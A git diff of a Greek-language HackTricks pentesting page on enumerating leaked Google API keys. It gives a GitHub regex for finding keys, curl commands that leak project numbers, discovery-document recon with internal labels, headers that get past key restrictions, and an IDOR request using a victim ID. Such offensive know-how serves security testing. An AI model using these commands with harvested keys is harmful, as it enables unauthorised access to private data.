mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-unauthenticated-e
This commit is contained in:
+103
-12
@@ -4,7 +4,7 @@
|
||||
|
||||
## API Keys
|
||||
|
||||
Για περισσότερες πληροφορίες σχετικά με τα API Keys, ελέγξτε:
|
||||
Για περισσότερες πληροφορίες σχετικά με τα API Keys δες:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
@@ -12,19 +12,19 @@
|
||||
|
||||
### OSINT techniques
|
||||
|
||||
**Τα Google API Keys χρησιμοποιούνται ευρέως από οποιοδήποτε είδος εφαρμογών** που χρησιμοποιούνται από την πλευρά του πελάτη. Είναι κοινό να τα βρίσκουμε στον πηγαίο κώδικα ιστοσελίδων ή σε αιτήματα δικτύου, σε κινητές εφαρμογές ή απλά αναζητώντας regex σε πλατφόρμες όπως το Github.
|
||||
**Τα Google API Keys χρησιμοποιούνται ευρέως από κάθε είδους applications** που τα χρησιμοποιούν από την client side. Είναι συνηθισμένο να τα βρίσκεις σε websites source code ή network requests, σε mobile applications ή απλώς κάνοντας search για regexes σε platforms όπως το Github.
|
||||
|
||||
Ο regex είναι: **`AIza[0-9A-Za-z_-]{35}`**
|
||||
Το regex είναι: **`AIza[0-9A-Za-z_-]{35}`**
|
||||
|
||||
Αναζητήστε το για παράδειγμα στο Github ακολουθώντας: [https://github.com/search?q=%2FAIza%5B0-9A-Za-z\_-%5D%7B35%7D%2F\&type=code\&ref=advsearch](https://github.com/search?q=%2FAIza%5B0-9A-Za-z_-%5D%7B35%7D%2F&type=code&ref=advsearch)
|
||||
Ψάξ’ το για παράδειγμα στο Github ακολουθώντας: [https://github.com/search?q=%2FAIza%5B0-9A-Za-z\_-%5D%7B35%7D%2F\&type=code\&ref=advsearch](https://github.com/search?q=%2FAIza%5B0-9A-Za-z_-%5D%7B35%7D%2F&type=code&ref=advsearch)
|
||||
|
||||
### Check origin GCP project
|
||||
|
||||
Αυτό είναι εξαιρετικά χρήσιμο για να ελέγξετε **σε ποιο GCP project ανήκει ένα API key που έχετε βρει**. Έχουμε διαφορετικές επιλογές:
|
||||
Αυτό είναι εξαιρετικά χρήσιμο για να ελέγξεις **σε ποιο GCP project ανήκει ένα API key που έχεις βρει**. Έχουμε διαφορετικές επιλογές:
|
||||
|
||||
- Επικοινωνήστε με `https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=<api-key>`
|
||||
- Contact `https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=<api-key>`
|
||||
|
||||
Για λόγους συντομίας, η έξοδος έχει περικοπεί, αλλά στην πλήρη έξοδο το project ID εμφανίζεται περισσότερες από 5 φορές.
|
||||
Για λόγους συντομίας το output κόπηκε, αλλά στο πλήρες output το project ID εμφανίζεται περισσότερες από 5 φορές
|
||||
```bash
|
||||
curl -s "https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=AIzaSyD[...]uE8Y"
|
||||
|
||||
@@ -34,9 +34,9 @@ curl -s "https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectCo
|
||||
"message": "Identity Toolkit API has not been used in project 943955951114 before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/identitytoolkit.googleapis.com/overview?project=943955951114 then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry.",
|
||||
[...]
|
||||
```
|
||||
- Επικοινωνήστε με `https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=<api-key>`
|
||||
- Επικοινώνησε με `https://identitytoolkit.googleapis.com/v1/projects?key=<api-key>`
|
||||
|
||||
Για λόγους συντομίας, η έξοδος έχει περικοπεί, αλλά στην πλήρη έξοδο το ID του έργου εμφανίζεται περισσότερες από 5 φορές.
|
||||
Για λόγους συντομίας το output περικόπηκε, αλλά στο πλήρες output το project ID εμφανίζεται περισσότερες από 5 φορές
|
||||
```bash
|
||||
curl -s "https://identitytoolkit.googleapis.com/v1/projects?key=AIzaSyD[...]uE8Y"
|
||||
|
||||
@@ -46,7 +46,7 @@ curl -s "https://identitytoolkit.googleapis.com/v1/projects?key=AIzaSyD[...]uE8Y
|
||||
"message": "Identity Toolkit API has not been used in project 943955951114 before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/identitytoolkit.googleapis.com/overview?project=943955951114 then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry.",
|
||||
[...]
|
||||
```
|
||||
- [Αυτό δεν λειτουργεί πια!] `apikeys.keys.lookup`
|
||||
- [Αυτό δεν λειτουργεί πλέον!] `apikeys.keys.lookup`
|
||||
```bash
|
||||
# If you have permissions
|
||||
gcloud services api-keys lookup AIzaSyD[...]uE8Y
|
||||
@@ -69,8 +69,99 @@ resource: projects/89123452509
|
||||
service: cloudresourcemanager.googleapis.com
|
||||
reason: AUTH_PERMISSION_DENIED
|
||||
```
|
||||
### Brute Force API endspoints
|
||||
### Ανακάλυψη-document driven API recon
|
||||
|
||||
Καθώς μπορεί να μην γνωρίζετε ποιες APIs είναι ενεργοποιημένες στο έργο, θα ήταν ενδιαφέρον να εκτελέσετε το εργαλείο [https://github.com/ozguralp/gmapsapiscanner](https://github.com/ozguralp/gmapsapiscanner) και να ελέγξετε **τι μπορείτε να αποκτήσετε πρόσβαση με το API key.**
|
||||
Μόλις έχεις ένα έγκυρο key, μην δοκιμάζεις μόνο τα προφανή public APIs. Σε Google environments, τα **discovery documents** μπορούν να λειτουργήσουν ως machine-readable attack-surface map, αποκαλύπτοντας **resources, methods, paths, HTTP verbs, parameters, και request/response schemas**.
|
||||
|
||||
Χρήσιμοι στόχοι:
|
||||
```bash
|
||||
# Public / common path
|
||||
curl -s 'https://serviceusage.googleapis.com/$discovery/rest?key=<api-key>'
|
||||
|
||||
# Hidden docs behind a visibility label
|
||||
curl -s 'https://serviceusage.googleapis.com/$discovery/rest?labels=GOOGLE_INTERNAL&key=<api-key>'
|
||||
```
|
||||
Notes:
|
||||
|
||||
- Σύγκρινε το μέγεθος του εγγράφου και τον αριθμό των methods με και χωρίς labels όπως `GOOGLE_INTERNAL`.
|
||||
- Ένα **πραγματικά ανύπαρκτο method** συνήθως επιστρέφει **HTML 404**. Ένα **JSON 404** με `Method not found.` μπορεί να δείχνει ότι το method υπάρχει αλλά το **API key project is missing a required visibility label**.
|
||||
- Κάποια first-party APIs είναι πιο εύκολο να προσεγγιστούν μέσω `*.clients6.google.com` ή undocumented `*-pa.googleapis.com` hosts παρά μέσω του public API explorer.
|
||||
|
||||
Αυτό είναι ιδιαίτερα χρήσιμο για να enumerate **internal/admin APIs accidentally exposed to the Internet** και για να φτιάξεις custom fuzzers από το schema αντί να μαντεύεις χειροκίνητα τα JSON fields.
|
||||
|
||||
### Key ownership filtering at scale
|
||||
|
||||
Αν συλλέγεις πολλά Google API keys από APKs, browser traffic, IPAs ή binaries, ίσως θέλεις να εντοπίσεις γρήγορα **ποιο project owns each key** και αν ανήκει στην εταιρεία-στόχο.
|
||||
|
||||
Ένα πρακτικό trick είναι να καλέσεις σκόπιμα ένα API που **δεν είναι enabled** για το key. Η Google συχνά διαρρέει το backing **project number** στο error:
|
||||
```bash
|
||||
curl -s 'https://protos.googleapis.com/$discovery/rest?key=<api-key>'
|
||||
```
|
||||
Αναζητήστε μηνύματα όπως:
|
||||
```text
|
||||
Protos API has not been used in project 244648151629 before or it is disabled
|
||||
```
|
||||
Αυτός ο αριθμός project μπορεί στη συνέχεια να συσχετιστεί με άλλα endpoints, leaked metadata ή εσωτερική λογική αντιστοίχισης εταιρείας για να διαχωριστούν τα **in-scope first-party keys** από customer / third-party projects.
|
||||
|
||||
### Χειριστείτε τους περιορισμούς των keys πριν απορρίψετε ένα key
|
||||
|
||||
Ένα restricted key δεν είναι απαραίτητα άχρηστο. Διατηρήστε το context όπου βρέθηκε το key και επαναλάβετε requests με τα αντίστοιχα headers:
|
||||
```bash
|
||||
# Browser restricted
|
||||
curl -H 'X-Goog-Api-Key: <api-key>' \
|
||||
-H 'Referer: https://target.google.com' \
|
||||
'https://servicemanagement.googleapis.com/v1/operations'
|
||||
|
||||
# iOS restricted
|
||||
curl -H 'X-Goog-Api-Key: <api-key>' \
|
||||
-H 'X-Ios-Bundle-Identifier: com.google.GoogleMobile' \
|
||||
'https://servicemanagement.clients6.google.com/v1/operations'
|
||||
|
||||
# Android restricted
|
||||
curl -H 'X-Goog-Api-Key: <api-key>' \
|
||||
-H 'X-Android-Package: com.google.android.settings.intelligence' \
|
||||
-H 'X-Android-Cert: <sha1-signing-cert>' \
|
||||
'https://servicemanagement.clients6.google.com/v1/operations'
|
||||
```
|
||||
Κοινές κατηγορίες περιορισμών:
|
||||
|
||||
- **HTTP Referer**
|
||||
- **iOS bundle ID** (`X-Ios-Bundle-Identifier`)
|
||||
- **Android package + signing cert** (`X-Android-Package` + `X-Android-Cert`)
|
||||
- **Server IP** περιορισμοί, οι οποίοι γενικά δεν μπορούν να παρακαμφθούν remotely
|
||||
|
||||
### Πρώτου μέρους auth / origin whitelist hints
|
||||
|
||||
Ορισμένα Google web APIs δέχονται ένα μείγμα από **session cookie + first-party authorization headers** και φιλοξενούνται στο `*.clients6.google.com`. Όταν δοκιμάζεις αυτά τα APIs:
|
||||
|
||||
- Κράτα τα `Origin` και `Referer` συμβατά με το προϊόν που συνήθως χρησιμοποιεί το API.
|
||||
- Ένα `401` με `reason: SESSION_COOKIE_INVALID` μπορεί στην πραγματικότητα να σημαίνει ότι το **origin is not whitelisted**, όχι ότι το cookie είναι bad.
|
||||
- Δημόσια προσβάσιμα APIs που δέχονται μόνο internal origins όπως `*.corp.google.com` είναι υψηλής αξίας υποψήφια για broken access control review.
|
||||
|
||||
### Brute force enabled APIs and fuzz documented methods
|
||||
|
||||
Όπως μπορεί να μην ξέρεις ποια APIs είναι enabled στο project, θα ήταν ενδιαφέρον να τρέξεις το εργαλείο [https://github.com/ozguralp/gmapsapiscanner](https://github.com/ozguralp/gmapsapiscanner) και να ελέγξεις **τι μπορείς να access με το API key.**
|
||||
|
||||
Αφού εντοπίσεις reachable services, προτίμησε **schema-driven fuzzing** αντί για blind guessing:
|
||||
|
||||
- Generate requests directly from discovery docs
|
||||
- Replay the same request with **all known working keys**
|
||||
- Normalize errors so you can distinguish **invalid input** from **visibility-label / auth / restriction** failures
|
||||
- For numeric object identifiers, try nearby values such as `ID-1`, `ID+1`, `1`, `2`, `100`, `1000`
|
||||
- Only report when you confirm **cross-user data access** or another real authorization failure; plain enumeration is usually not enough by itself
|
||||
|
||||
### Common vuln pattern: unauthenticated direct-object reference
|
||||
|
||||
Ένα επαναλαμβανόμενο bug pattern είναι ένα **internal/admin API** που δέχεται ένα victim-controlled identifier (για παράδειγμα `gaiaId`) και ελέγχει μόνο ότι το request φέρει ένα usable API key, αλλά **ποτέ δεν ελέγχει αν ο caller is authorized to access that specific object**.
|
||||
```bash
|
||||
curl 'https://gfibervoice-pa.googleapis.com/v1/BssGetVoiceSettings?gaiaId=<victim_gaia_id>' \
|
||||
-H 'X-Goog-Api-Key: <api-key>'
|
||||
```
|
||||
Αν το endpoint επιστρέφει τον αριθμό τηλεφώνου, τη διεύθυνση email, τις ρυθμίσεις ή άλλα ιδιωτικά πεδία ενός άλλου χρήστη, αντιμετώπισέ το ως κλασικό πρόβλημα **IDOR / broken access control**.
|
||||
|
||||
## References
|
||||
|
||||
- [Hacking Google with AI: AI-Assisted Discovery-Document Fuzzing of Google APIs](https://brutecat.com/articles/hacking-google-with-ai)
|
||||
- [Google APIs Explorer](https://developers.google.com/apis-explorer)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user